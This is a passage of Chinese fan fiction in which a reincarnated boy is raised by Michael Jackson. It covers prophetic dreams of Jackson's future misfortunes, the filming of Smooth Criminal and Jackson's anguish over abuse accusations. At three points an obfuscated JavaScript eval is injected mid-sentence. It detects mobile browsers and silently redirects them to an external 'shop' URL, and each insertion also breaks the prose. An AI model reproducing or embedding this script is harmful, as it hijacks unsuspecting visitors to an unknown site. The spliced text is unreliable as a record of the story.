他感到自己在高声尖叫,但是没有任何人听见,哪怕是距离他最近的迈克尔…… ………… “埃凡德!” 埃凡德猛地张大嘴巴,吸进一口气,像是濒临窒息的人拼命汲取空气。 “It''s OK,我在这儿呢,艾娃,”埃凡德这才注意到迈克尔跪在他身侧,满脸紧张,手里还紧紧捏着电话的听筒,“感谢上帝,你终于醒了。” “迈克尔……” 埃凡德不确信自己是否还在梦里。他伸手去触碰迈克尔黑色的皮肤——是温热的。 “是的,我在这儿呢,你的迈克尔在这儿呢,”迈克尔握住埃凡德的手腕,将男孩的手掌紧紧贴在他的脸颊上,“发生什么了?我刚才怎么叫你你都没反应,要不要去医院看看?” “不,”埃凡德摇摇头——他这时候反而冷静下来了,只是声音里还带着一种惊魂未定的虚弱,“我只是做了个噩梦……或者说是预知梦……你能躺下来听我说说吗,迈克尔?” 迈克尔脱下他刚刚穿上的、略显凌乱的夹克外套——他差点直接抱着男孩去医院了,911(急救电话)还没拨出去。 埃凡德枕在迈克尔的手臂上,一头扎进他的怀里,猛地深吸一口气——是熟悉的香水味,令人安心。 “我在梦里变成了你的一个粉丝,”埃凡德尽量让自己的描述不显得太过荒谬或者无厘头,“我……不,是‘埃里克’。他拿到了一张你的巡演的票,1999年6月27日,在德国慕尼黑。” 迈克尔没有说话,静静等埃凡德把他的噩梦吐出来。 “我看到了另一个你……他比你瘦了很多,脸上的骨头很突出,看起来很不健康。” 埃凡德摸了摸迈克尔的鼻子,这个动作让歌星下意识地瑟缩了一下,然后又强行忍住了。 “他的皮肤看起来是惨白的,”埃凡德一眨不眨地观察着迈克尔的反应——电影里说过,迈克尔患有白癜风,“嘴巴上涂了口红,红得像血。” 迈克尔的脸色一下子变得很差,嘴唇嗡动了两下,最终还是没有发出声音。 “我看到你在表演一首叫做《Earth Song》的曲目。” 为了让迈克尔确信自己说的都是真实的,埃凡德还随便唱了两句歌里的词。 “然后,我看到你在歌曲的高潮部分出了舞台事故……升降机出了问题,你直接从高空摔了下来,没有任何缓冲……” 埃凡德深深吸了一口气。 “我本来没意识到自己在做梦……我以为自己就是埃里克,一个德国的歌迷。但当我看到你坠落的时候,我感觉自己的……灵魂?从埃里克身体里飞了出来,飞向你的身边。” “我在你身边大声叫你的名字,但你没有听见……哦,不对,是梦里的那个迈克尔,他没有听见。然后我就被你叫醒了。” 迈克尔知道,这个梦里的一切都会成真。他从来没有告诉过埃凡德自己整过容、也没有告诉埃凡德自己得了白癜风。 梦境是潜意识的体现,不可能出现做梦者认知之外的事情——所以,这是神给埃凡德的启示吗? 上帝要让这个孩子保护自己,使自己免于灾难吗? “迈克尔?你还好吗?是不是我吓到你了?” 迈克尔立刻从恍惚之中回过神来,意识到自己又犯下了一个错误——他不应该保持沉默的。此刻,埃凡德的内心只会比他更加不安。 “是啊,我被你吓坏了,小预言家,”他在嘴角扯出一个笑容,“你不知道刚才我醒来却发现你浑身抽搐的那一分钟里经受了怎样的煎熬……我还以为我要失去你了。” “对不起,但我问的不是这个,迈克尔。梦里的你……” “我会牢牢记住的,我会小心的,”迈克尔抢断了埃凡德的话,“1999年6月27日,对吗?就在你的21岁生日后两天,我不会忘记的。我会仔细检查舞台的机关、设施的安全隐患……实在不行,就取消高空的环节……反正总会有解决办法,不是吗?” “那你的脸呢,迈克尔?”埃凡德仍然一直盯着迈克尔的眼睛,“为什么你的鼻子会变成那样?为什么你的皮肤会那么惨白?” “……” 迈克尔下意识想避开埃凡德的眼睛。 “迈克尔,别保持沉默,好吗?”埃凡德真诚地说,“我把我的一切秘密都告诉你了,你完全可以相信我——不管是什么事情。” “……你知道整容吗?” “是的,我知道。” “在我遇见你的前一年,我意外摔断了鼻子,”迈克尔如今用一种轻描淡写的语气陈述着曾经的伤痛,“我不得不做整容手术——为了修复我的鼻子。如果你看见1999年我的鼻子很奇怪,那可能是修复手术出了问题。” 埃凡德又一次摸了摸迈克尔的鼻子,这一次,他的力气要更轻一些——像是羽毛轻轻拂过。 “我还患有白癜风。它是一种疾病,就像是感冒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552669|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样……只不过它无法被完全治愈。它会让我皮肤上的黑色色素逐渐褪去,出现一些白色的斑点和色块……就像,就像……” 迈克尔说不下去了。 把伤口撕开给别人看让他感到非常痛苦、非常自卑。是啊,他是那么多人崇拜的迈克尔·杰克逊——他的身上怎么能有像奶牛一样不均匀的色块呢? 埃凡德没有说话,只是将迈克尔抱得更紧了一些。 他能感觉到迈克尔的呼吸变得急促而紊乱,像是在努力压抑着什么。这个在舞台上光芒万丈、被亿万人仰望的男人,此刻在他的怀里微微颤抖着,像一只受惊的鹿。 “迈克尔,”埃凡德的声音很轻,“你知道吗?在我眼里,你一直都是世界上最美丽的人。” 迈克尔没有说话,只是将脸埋进埃凡德的肩窝里。 “我不是在安慰你,我是认真的,”埃凡德的手指慢慢梳理着迈克尔微卷的头发,“第一次见到你的时候,我就觉得你像天使——不,比天使还要好看。你的眼睛里有星星,你的笑容能照亮整个房间……那些东西,跟你长什么样没有任何关系。” “小骗子,你怎么会记得两岁的事情。” 迈克尔短暂地被埃凡德夸张的形容转移了注意。 可是……”迈克尔的声音闷闷的,带着一丝失落,又似乎是希冀,“如果你看到我身上的那些斑块……你会觉得恶心。” “不会。” “你还没见过——” “你的皮肤是什么颜色,白色、黑色、黄色、花色……这又有什么关系呢?”埃凡德打断了他,语气平静得像在陈述一个再简单不过的事实,“我又不是因为你长得漂亮才爱你的。” 迈克尔的身体明显僵了一下。 “再说了,不管你是什么颜色,皮肤下的血液不都是红色的吗?死了之后,不论是你,还是我,我们的灵魂都将离开,身体都会逐渐腐烂,到最后只剩下骨头、然后变成灰烬,……” 埃凡德的声音更轻了,手指依然不紧不慢地梳理着迈克尔的头发。 “现在的你、未来的你,和世界上的每一个人又有什么区别呢?不都是一个普通的人类吗?” “……” 迈克尔没有抬头,但埃凡德能感觉到男人的怀抱正在一点一点地松弛下来,像是冰块在春水里慢慢融化。 “……普通的人类?”迈克尔终于开口了,声音闷闷的,带着一点鼻音,“你刚才不是说我是天使吗?” “天使也会感冒生病啊,”埃凡德理直气壮地说,“我允许你当一个会生病的天使。” 迈克尔发出一声短促的笑。 他终于在埃凡德的肩窝里蹭了蹭,抬起头来,眼眶还红着,但嘴角已经微微上扬了。 “你真是……”他摇了摇头,没有说下去。 “真是富有诚实的美德,”埃凡德替他说完了,眨眨眼睛,“即使你不完美,在我心里,你也是最好的。” 迈克尔看着埃凡德的眼睛。那双眼睛里没有怜悯、没有嫌弃、没有小心翼翼,只有一种坦荡的、理所当然的接纳。 他将埃凡德的脑袋重新闷进怀里,伸长了手把灯关上。 “我当然是最好的。”他小声嘀咕。 “这句话别当着普林斯的面说,他一定会和你来一场真男人的决斗。” 埃凡德被他闷在怀里,声音像从瓦罐里透出来的。 “为什么是普林斯?” “我也不知道。” “好吧,那我就只好告诉他这是你说的。” “You''re so bad,Michael.” “谢谢夸奖。” ——————————— 本章注释: 1.普林斯和迈克尔可能不是死对头,但这二位的粉丝一定是一生之敌。 2.bad的本意是“坏”,但在黑人俚语里也有“真棒”的意思,迈克尔的第三张个人专辑就是以这个有着双重含义的词命名的。 3.文中描述的1999.6.27的事故是真的,出现意外后,他像是个没事人一样撑着表演完了。迈克尔在这场事故里留下了永远的后遗症。 11. 8岁正是搞事业的年纪 自从1985年末埃凡德梦见迈克尔1999年6月27日的慕尼黑舞台事故后,他就对睡梦产生了一种恐惧还有诡异的期待。 恐惧,是恐惧于看到梦里不好的景象:他目前做的梦几乎全部都和迈克尔紧密关联,而且全部都是他未来所经历的灾难。 1992年,被亲哥哥杰梅因写歌说他漂白皮肤; 2003年拍摄纪录片被欺骗、遭到恶意剪辑,同年被警察暴力执法,展示出来的身体上伤痕怖人(埃凡德甚至还没搞明白他为什么会进局子,单纯的种族歧视吗?); 2005年负债濒临破产;2009年被公司裹挟,强行策划50场巡演时悲伤哭泣…… 一个人短短50年的人生怎么能多灾多难成这样?光是看着就快压抑得让人喘不过气。 就算埃凡德的能力是“预知厄运”,这未免也太超过了吧? 但他又忍不住期待入睡。因为每多一个梦,就能多知道一点未来的隐患,他就能提前想办法,帮迈克尔避开这些坑。 至于会不会干涉命运、会不会越补救反而越往原定轨迹走,埃凡德懒得纠结。过度的哲思只会让他自己陷入忧虑,总而言之,不先试试怎么会知道呢? 只要思想不滑坡,办法总比困难多——这可是前人留下来的生存智慧。 只是有些事好提醒,有些事却根本没法开口。 后面几件事直接和迈克尔说就能够让他做好预防,而1992年杰梅因的事,埃凡德又该怎么办呢? 他该说什么呢?说迈克尔,你的哥哥会在几年后写歌嘲讽你的肤色、诋毁你的人格? 且不说这件事情对迈克尔来说有多么伤人,就算埃凡德说了,迈克尔难道还能因为一件尚未发生的事去质问自己的哥哥吗? 清官难断家务事,说的大概就是如此吧。发生在迈克尔身上的痛楚,如果是他和外人之间的矛盾,往往可以找到解决方案;一旦涉及到家人,就会让两个人都畏手畏脚起来。 这么看来,预知未来对埃凡德来说也是一种有口难开的苦痛。 哎,不讲不讲! 虽然迈克尔信誓旦旦地说以后会注意自己的财务问题,但埃凡德对于他是否真的能够做到这一点表示怀疑——尽管知道迈克尔不是傻,但他的行为却总是给人这种感觉。 他太心软、太善良。 也正因为这样,此刻工作室里出现了很有意思的一幕。 迈克尔完全沉浸在自己的音乐世界里,自顾自打着响指找节奏,嘴里轻轻哼着半成品旋律,脚下踩着节拍,身体跟着韵律自然晃动,灵感一来就趴在纸上写写画画,琢磨歌词和曲调,完全旁若无人。 而埃凡德面无表情地坐在一边,默不作声地刷着数学题。 在埃凡德主动要求下,迈克尔已经给他聘请了专业私教,正式走居家家庭教育的路线。 他会在庄园封闭式上课,避开媒体骚扰和外人围观,私教先帮他系统梳理从小学到初中的全部基础课程,把零散知识点快速补齐。 埃凡德打算靠着自己多出来的二十多年的灵魂和阅历,直接跳过按部就班的低级学制,不走普通小孩慢慢熬年级的老路。 等基础打牢,立刻进阶聘请各科精英私教,专攻数理、古典文学、世界历史,再啃法语、德语、拉丁语、西班牙语几门外语,同时兼顾音乐和艺术素养培养。 计划是很清楚的: 不走公立、私立常规学校,靠居家私教冲刺哈佛、常春藤这类美国顶尖名校。 等进入大学,他可以借机结识各行各业的精英人才,利用自己预知未来的优势做投资、找风口,甚至合伙创业都没问题。 手里有足够资本和人脉,就能彻底站在迈克尔身后,做他最靠谱的后盾。 就算不搞商业,也可以选法律、资产管理这类专业,专门帮迈克尔打理财产、审核合同、避开商业陷阱,守住家业,不让他再落到负债破产的地步。 埃凡德:…… 哎……怎么重来一辈子还是在学习内卷?这难道是什么老中家孩子逃脱不了的宿命吗? 他想做个米虫富二代怎么这么困难。 ………… 1986,崭新的一年,不仅是埃凡德在为自己“暗无天日”的未来奋发图强,迈克尔也决定做出新的改变。 自1984的胜利之旅结束后,迈克尔的演艺生涯进入一个低点,所以他想要做一张强势的专辑。 起初,昆西拒绝了迈克尔再合作出专辑的请求,并希望迈克尔先自行创作——不得不说,这对迈克尔来说是一个前所未有的挑战。 但不久,迈克尔便和助手约翰·巴恩斯拿出了66首歌曲——这其中的大部分歌曲都令埃凡德都没有什么头绪,他还以为是迈克尔的音乐创作道路和他前世所认知的大为不同了。 直到,昆西·琼斯加入后,砍掉了33首,后来又淘汰了10首,最后砍到了12首。 当迈克尔一脸兴奋地把曲目名单拿给埃凡德看时,他才发现,这就是他前世所熟知的、迈克尔的第三张个人专辑,《Bad》。 ——唯一不同的地方在于,迈克尔将他在1984年为埃凡德所写的《Don''t cry for me》也加入了专辑。 算上《Don''t cry for me》,迈克尔·杰克逊包办了整张专辑中10首歌曲的创作。 《Bad》《The Way You Make Me Feel》《Speed Demon》《Liberian Girl》《Just Good Friends》《Another Part of Me》《Man in the Mirror》《I Just Can''t Stop Loving You》《Dirty Diana》《Smooth Criminal》《Leave Me Alone》《Don''t cry for me》 在奋进课业之余,埃凡德第一次正式参与了迈克尔的音乐影片的制作。 虽然迈克尔被誉为MV(Music Video)这一艺术形式的开创者,但他本人更愿意将其称呼为“Film”。他自己非常喜欢电影——还曾经在电影《新绿野仙踪》(1978年上映)里饰演了角色。 首先,是《Don''t cry for me》。这首歌没有制作影片的计划,但是迈克尔录制了两个版本:一个是他独唱的版本,另一个就是和埃凡德合唱的版本。 其次,便是世界名曲《Smooth Criminal》(犯罪高手)。 单说歌曲名,或许还会有人没有印象。但迈克尔正是在这首歌的影片中首次向全世界展示了不可思议的45°反重力前倾动作。 埃凡德现在还清楚地记得第一次看到影片时的震撼:迈克尔·杰克逊身着白色西装,在保持身体笔直的情况下,双脚不动,整个人向前倾斜45度,仿佛摆脱了地心引力。 要他说的话,迈克尔可比自己“魔法”多了。 很遗憾,因为埃凡德今年还只有8岁,不能参与到这一副“世界名画”之中。 不过,他全程观看了这次音乐影片的拍摄,并且在影片中得到了另一个非常有意思的角色。 在《Smooth Criminal》中,除去在室内拍摄的、最精彩的舞蹈部分,还有几场小演员的室外戏。 在迈克尔的设想中主要是两个镜头: 第一个在影片开头,小演员从门洞中看见迈克尔,并认出了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552670|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二个则是在45°反重力倾斜动作之后。小演员会从门上的空隙中偷看迈克尔,然后进行如下的对话: (孩子A)(欢呼)那真酷! (孩子B)嗯哼,我把所有我知道的都教给了他。 (孩子A)真的假的?那你展示给我看。 (孩子B)(带着朋友跳下垫脚的箱子)行,那你扶稳了! 然后“孩子B”会跳一段和迈克尔一模一样的编舞。 埃凡德在得知迈克尔想让他饰演这个“孩子B”的时候真的没绷住。 “我把我知道的都教给了他”,这句台词不亚于“里昂(生化危机最受欢迎角色)建模是卡普空跟踪我做出来的”;再加上埃凡德的身份,颇有一种说父亲长得像儿子的黑色幽默感。 埃凡德觉得这实在是太有乐子了,所以毫不犹豫地答应了下来。 虽然平常很随和,而且喜欢恶作剧,但迈克尔在工作的时候非常严肃认真。在得到埃凡德肯定的回答之后,他每天都会抽出时间来教埃凡德如何跳舞,以力求影片拍摄出来的效果达到最好。 但现实和预期不符也是常有的事。 舞蹈方面倒是没有什么错误,关键就在于那几句台词。 第一次拍摄。 “那真酷!” “嗯哼~”埃凡德一脸傲娇,“他的舞步可是跟踪了我好几天才创作出来的……抱歉。” 既视感太强了,埃凡德顺口就说错词了。 “hee↗hee↘hee↗hee↘” 听见这种标志性的笑声,埃凡德忍了忍——还是没忍住翻了个白眼。 这一幕本来是不用迈克尔看着拍摄的,是他执意要看埃凡德的“片场首秀”。 “别笑了,迈克尔,”埃凡德没好气道,“我看我们不如就把台词改成这个好了,你觉得怎么样?” “不不,求你了,我错了,”迈克尔脸上快乐的笑容让他的求饶完全没什么说服力,看起来反而更像撒娇——他甚至跑到埃凡德旁边晃他的手臂,“人们会笑的喘不过气!我不想《犯罪高手》变成一部喜剧电影,求你了,艾娃,我知道你不会计较的。” 埃凡德故意板着脸扭过头去不看迈克尔,迈克尔跟着把脸凑过去: “求你了,就说你会同意!” 所有人都在笑——埃凡德最终还是绷不住了,顺了迈克尔的意思,重新开始拍摄。 第二次拍摄。 “那真酷!” “嗯哼~毕竟我把我知道的都教给了他。” “哈哈哈哈嘎(↑)哈哈哈哈哈哈哈哈哈……” 埃凡德是真的有点恼羞成怒了。 “迈克尔!你刚才不是笑过了吗?”埃凡德大声抗议,“导演,我觉得我们之中一定有一个人要被赶出去才能保证影片顺利拍摄!” 再次强调——虽然迈克尔的笑点很低,但他在工作之中是一个很高要求且严格的人,一般情况下不会笑场(拍摄花絮时不算)。 除非忍不住。 “我错了!”迈克尔笑的直不起腰,“我下次真的不会笑了!我保证!” “你最好真的是。”埃凡德狠狠瞪了他一眼。 —————————— 本章注释: 1.老迈笑点真的很低。你可以在各种采访和视频里看到他笑场。 2.有关撒娇真的不是我编的,可以搜《Black and White》的拍摄花絮。 3.文中写的就是《犯罪高手》影片里的原剧情。 4.文中的思路在20世纪末确实能够不上学报考名校。但是由于作者智商不高,所以什么商战创业之类的应该都是一笔带过,本文主要还是以剧情和日常为主。 12. 苦涩又甜蜜的爱 1987年从各种意义上对迈克尔都是重要的一年。 首先是埃凡德。 埃凡德·杰克逊在6月25日已经度过了他的9岁生日,这让迈克尔开始频繁地“伤春悲秋”。 “你怎么长的这么快,”迈克尔用手在埃凡德的头顶比划着,“4英尺11英寸(约1米5)……我总觉得你好像还是我记忆里的那个小孩子,像个玩偶一样可爱……” “''Cause I''m a big boy now~” (因为我现在是个大男孩了) 埃凡德突然唱了出来,声音清亮,甚至带着点故意模仿迈克尔的转音——这几年,他真是和迈克尔“学坏了”。 迈克尔被噎了一下,搅拌碗里粥的动作变得委屈起来: “这就是你为什么不让我把你抱在怀里了?” “?我什么时候不让你抱了?”埃凡德放下勺子,一脸困惑。 “就是上个月的事情!”迈克尔立刻接话,仿佛就等着这一句,“在阳台那里,我想把你举起来给楼下粉丝看看——你以前最喜欢那样的。” 埃凡德叹了口气,试图和眼前的男人耐心讲道理: “那是因为你要把我举起来给粉丝看,迈克尔——我是9岁,不是9个月。我真怕你一个没抓住,我就会从阳台上自由落体,然后开始另一场伟大的旅行。” “你现在一点也不可爱了,”迈克尔停下了搅拌的动作,垂下眼睛,声音听起来闷闷的,“你明明很喜欢我抱你的……我出院的时候……” 埃凡德翻了个白眼,他听明白了——这人就是故意和他抬杠,逗他玩呢。 “我知道,我知道,世界上最可爱的迈克尔·杰克逊先生,”埃凡德不为所动,“但这不是你糟蹋食物的理由——请你把你的早餐吃掉,谢谢。此外,如果你觉得我不可爱了,你今晚可以自己读《查理和巧克力工厂》。” 迈克尔不语,只是低头喝起粥来,装作没有听见他刚才的话。 拥有某一项特别小众的爱好的人应该都清楚这种感觉:自己一个人喜欢,和有人在你旁边与你激烈讨论的感觉是完全不同的。 等到老老实实吃完早饭,确保刚才的“威胁”已经翻篇了之后,迈克尔才用一种“超级不经意”的语气提起: “我是不是忘记告诉你了?Neverland已经快完工了——一切顺利的话,我们明年就可以搬家了。” 埃凡德惊讶地瞪大了眼睛。 “你当然没有告诉我!”他大声抗议,“我连你什么时候买的地都不知道!它在哪儿?有多大?” “我以为你会梦见,”迈克尔露出了雪白的牙齿,“在加利福尼亚的圣芭芭拉,大概有2700英亩吧……我不记得具体数字了。” 迈克尔双眼一眨不眨地观察着埃凡德的表情——他一定会把这一刻记在心里。他的声音放的更柔和了: “我向你保证过的。那里会有摩天轮、有旋转木马、有小火车、有电影院……还有一个专门的动物园。” 迈克尔本来想像从前一样,直接把男孩圈进臂弯——但他最终只是悄悄停顿了一下,并没有这么做,而是轻轻摸了摸埃凡德的头。 “我为你准备了一个新房间,”迈克尔抬起头,将右手放下来牵住埃凡德,不再看着他,“墙面会刷上黄色的漆,窗户面朝着太阳,还有一张很大很大的窗……我还给你买了很多新的玩偶,长颈鹿、羊驼、蛇……” “你要把我赶去一个人睡吗?”埃凡德有些惊诧的话语打断了他。 迈克尔的手不自觉地紧了紧。 “从你来到恩西诺的第一天开始,这里就没有一个属于你自己的房间,”迈克尔努力让自己的语气听起来没有什么特别的情绪,“我以为你会想要一个属于自己的空间,你知道的,就像你说的——You''re a big boy now.” “所以你是真的开始嫌弃我了吗?!”埃凡德非常不可置信,非常不能接受,e on,Michael!告诉我你不是这么想的!” “我当然不会这么想,永远不会!”迈克尔立刻给出了否定的回答,“不,你没弄明白——我是认真的!” “Well……” 听见这话,埃凡德也认真思考了一下——大概半分钟吧——迈克尔却觉得这半分钟比站在舞台上、当着所有人的面说出那些反抗父亲的话还要漫长、还要煎熬 “有一个自己的房间听起来确实很不错……” 迈克尔的心沉了沉。 当一个月前,埃凡德拒绝了迈克尔将他抱起来的动作时,迈克尔就想了很多。 埃凡德的年龄在增长、个子在增长,心灵也是。 虽然他本来就从不会表现得像是一个一无所知的天真孩童,但也从没有让迈克尔如此清晰地感觉到了两个人之间的距离:他不再无时不刻地陪伴在他身边,他也开始有了自己的规划和目标…… 未来的某一天,他甚至会爱上一个女孩,然后成家立业,从他身边离开,而作为另一个家庭的一份子。 就像杰梅因、就像拉托亚…… 他们不再是他亲密无间的兄弟和姐妹了,而现在,埃凡德也逐渐不再是对他毫无保留的孩子。 他选择了长大。 迈克尔感到一种无法言说的失落。 “——但我还是更喜欢和你一起睡。” 这句话像一颗石子投入平静的湖面。 迈克尔被这突如其来的喜讯惊得顿在了原地,甚至忘了呼吸。他转过头,定定地看着埃凡德,那目光里有惊喜、有庆幸,还有一丝极力掩藏的、怕被收回的脆弱。 “你今天真的很奇怪,”埃凡德跟着他一起停了下来,“到底怎么了?” “不,没什么,”迈克尔下意识回答,语气中带着显然的、难以掩盖的雀跃,“我的意思是——你知道我总是听你的话,艾娃。” 埃凡德盯了他两秒,最后摇着头笑起来,声音比新鲜出炉白面包更轻更软。 “奇怪的男人。” 当两个人牵着手走到房子外面的草坪上,看见路易(迈克尔的羊驼,他将路易从一个马戏团中买了回来)正在悠闲地咀嚼时,他们自然而然地开始了下一个话题。 “我还记得你在录音的时候把路易带到了录音室里去,”埃凡德将手轻轻搭在羊驼的脖子上,“它就在那儿安安静静地听着你录音。有时候我真的会怀疑,你是不是某个迪士尼公主,从故事里逃了出来——” “为什么是迪士尼公主?” “因为她们往往都很漂亮,经常莫名其妙、随时随地开始唱歌,而且……” “都有一些动物朋友!”/“对动物非常友好,你说得对。” 一大一小被这默契的异口同声逗笑了。 “你要和我一起去吗——这次世界巡演?” “当然,”埃凡德和路易奇妙地同步了,用他们乌黑的眼睛看着迈克尔,“我不想错过。你准备先去哪里?什么时候出发?” “计划里是从日本开始,9月12日的演出。我需要提前过去彩排……” 迈克尔的新专辑《Bad》在8月31号才刚刚发行。 “这也太赶了,”埃凡德不由得皱紧了眉头,“你不能让公司一直这么控制你,迈克尔。他们才不会管你是不是会累、是不是状态不好、是不是需要灵感的沉淀——他们只想赚更多的钱。” “我明白,”迈克尔安慰性地摸了摸埃凡德的头,“我正在做一些准备。” 他的语气是一反常态的坚决。 一想到这一站是日本,埃凡德就想到了上辈子的故乡——中国,他深深爱着的那片土地。 80年代的中国应该还处于一个相对封闭的状态。在这个穿泳装都属于“流氓罪”的年代,迈克尔近几年基本不可能会被允许前往中国大陆表演——他抓裆的动作对于老辈子人来说还是太超过承受限度了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552671|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但是他们或许可以去香港!如今的香港正处于最黄金的年代。 那可是八十年代最璀璨的华人娱乐圈中心,想想那些在磁带封面和电影海报上出现的名字:成龙、张国荣、梅艳芳、刘德华…… 那些名字像遥远星辰的光,微弱却真实地照进过他普通的生活。 “在想什么?”迈克尔的声音把他拉回现实。 “香港。” 回答下意识脱口而出,埃凡德几乎是立刻有些懊恼地歪了歪头——他还没想好要不要和迈克尔说这件事呢。 巡演对于他来说已经够疲惫了,埃凡德不想再为了自己的私心给迈克尔添麻烦。他见过迈克尔巡演时候的状态: 连轴转赶路暂且不说,巡演日前后的晚上,粉丝们往往会围在酒店楼下喊他的名字;迈克尔也会因为舞台和粉丝而兴奋,整夜整夜的睡不着。 “你想去吗,香港?”迈克尔对埃凡德心中所有的弯弯绕绕一无所知,“我知道香港,我听过其中一些华人歌手的歌……中国是一个文化底蕴深厚的地方,他们的文化作品里有一种我们没有的美。” 埃凡德有些意外地眨了眨眼。 他没想到迈克尔会主动接住这个话题,更没想到迈克尔对华人文化有这样的好感——他倒是知道汶川大地震时,迈克尔为国内捐过款。 “你怎么会听他们的歌?”埃凡德问。 “偶然,”迈克尔耸了耸肩,“旋律的走向和美国的流行音乐非常不同,有很多五声音阶的东西……听着就像在听另一个世界的故事。很特别,也很令人着迷。” “所以你想去吗?”迈克尔又问了一遍。 埃凡德依然沉默着——他还是犹豫。 他当然想去。 不是因为他对香港有多热切——事实上他知道的少得可怜。他说不出一条街道的名字,不知道哪家茶餐厅好吃,甚至不知道现在去香港是否要办签证。 但他就是想去。 那是他上辈子生长的那片土地长出来的枝桠,是他从未去过却莫名觉得熟悉的地方。 那些面孔、那些声音、那些耳熟能详却又无比陌生的名字…… “别保持沉默,艾娃——我们两个都不喜欢这样。” “我想去,但是——” “没有但是,”迈克尔打断他,语气轻快得像在哼歌,“你想去我们就去。日本的巡演之后,我们会有一段休息的时间。” “可是你肯定很累了——” “艾娃,”迈克尔低头和他对视,那双黑色的眼睛比路易更加明亮,“你可以对我提出任何要求——只要我能够做到。” “我只是想让你更轻松一点,更开心一点。” “去香港就是会让我开心的事,”迈克尔眨了眨眼,笑容里带着一点点狡黠,“因为我也想让你开心——当我被你需要,我感到我真正存在。” 埃凡德张了张嘴,最后还是没能说出什么反驳的话。 这个人总是这样。明明是他自己在让步,却说得好像是在满足自己的愿望。 “好吧,”埃凡德最后说,嘴角怎么也压不下去,“那……说好了?” “说好了,”迈克尔蹲下身,伸出小拇指,“要拉钩吗?” 埃凡德看着他伸过来的手指,忍不住笑出了声。 他伸出手,小拇指勾住迈克尔的。两个人的指节交缠在一起,像某种古老而郑重的契约。 “说好了。”埃凡德说。 路易在旁边打了个响鼻,像是也替他们高兴。 ———————— 本章注释: 1.迈克尔曾想要饰演《查理和巧克力工厂》中的威利·旺卡。 2.迈克尔有突然开始唱歌或者跳舞的习惯。 3.迈克尔于1988年正式入住梦幻庄园(Neverland)。 4.有关迈克尔的羊驼路易,它的来历和进过录音室都是真的。 13. 心中的梦幻岛 …… 他将《彼得·潘》的图文绘本放在腿上,就那样摊开着,直直地盯着铁钩船长胡克。 他什么也没有想,什么也不愿意去想。 ——太累了。 当他接到那个通知他被告的电话时,他正在为巡演的舞台彩排。他已经说不清楚当时的内心是一种怎么样的感受。 悲伤?愤怒?委屈?厌恶? 他感到自己在那一瞬间已经死去了,灵魂蒙受上帝的召唤,离开了躯壳。 他真想质问、真想大声且愤怒地呐喊:为什么你们要这么对我?我到底做错了什么? 可最终,他还是什么都没说,只是默默坐到一边,蜷缩着身体,看完了没有他的彩排。 哪怕他建造了一座属于自己梦幻岛,哪怕他用尽全部心力,在舞台上、在音乐里,为那些依然相信纯真的人保留了一片不容玷污的净土——他也还是无法逃脱这个世界上那些丑恶的东西的影响:嫉妒、贪婪、恶意、暴力、谣言…… 他终于明白了这一点。 ………… 黑暗和痛苦无时不刻不在他耳边呢喃低语。 在这段可怕的日子里,即便拉上窗帘,确保没有任何摄像头可以拍摄到他,他的内心仍然保持着一种消散不去的惊惶。 他努力过了。他想要去忽视那些声音,想要将它们赶出他的内心世界——但他做不到。 每天只要一闭上眼睛,不管是白天还是夜晚,他就会想起那些声音: “他是个该死的恋童癖!” “我一直都很讨厌迈克尔·杰克逊。我不明白你们这些人为什么会对一个黑鬼情有独钟——事实证明我是对的!他是一个怪胎、一个败类!” 这些来自陌生人的声音已经足够锋利,像刀子一样一片一片剜着他的心。但更痛的是——那些本该站在他身边的人,也用同样锋利的刀捅了进来。 他不想回忆,可那些话像烙印一样刻在他的脑子里。 那是他的姐姐,拉托亚,和他流着同样血液的人。 镁光灯下,她站在那些嗜血的媒体面前,面容冷静。她对着全世界说: “我爱我的弟弟,但我不能再保持沉默了……” 不……为什么要这么对他? 他记得自己看到那段新闻时,整个世界在眼前分崩离析的感觉。 钱德勒的污蔑虽然让他痛苦,但这世界上依然有他的朋友、他的家人们支持着他。 可现在呢? “我爱我的弟弟,但我不能再保持沉默了,我不能让更多孩子受害。” 她向全世界宣判了他的死刑。 他不明白——他真的不明白。为什么?是为了钱吗?是她的丈夫在背后操控她吗?还是她真的相信那些鬼话? 没有人能回答他。他只知道,在那些最难熬的深夜,那些来自陌生人的谩骂和来自至亲的背叛会同时在他脑海中响起,交织成一首撕心裂肺的安魂曲。 那些声音从不睡觉。它们在他耳边轮番低语,有时慷慨激昂,有时温柔似水,但每一句都裹挟着同样的毒液—— “没有人会相信你。” “你最亲近的人都知道你是什么货色。” “你的姐姐已经证实了一切。” 他曾试图把梦幻岛建成一个乐园,一座庇护所。他只想让孩子们快乐。 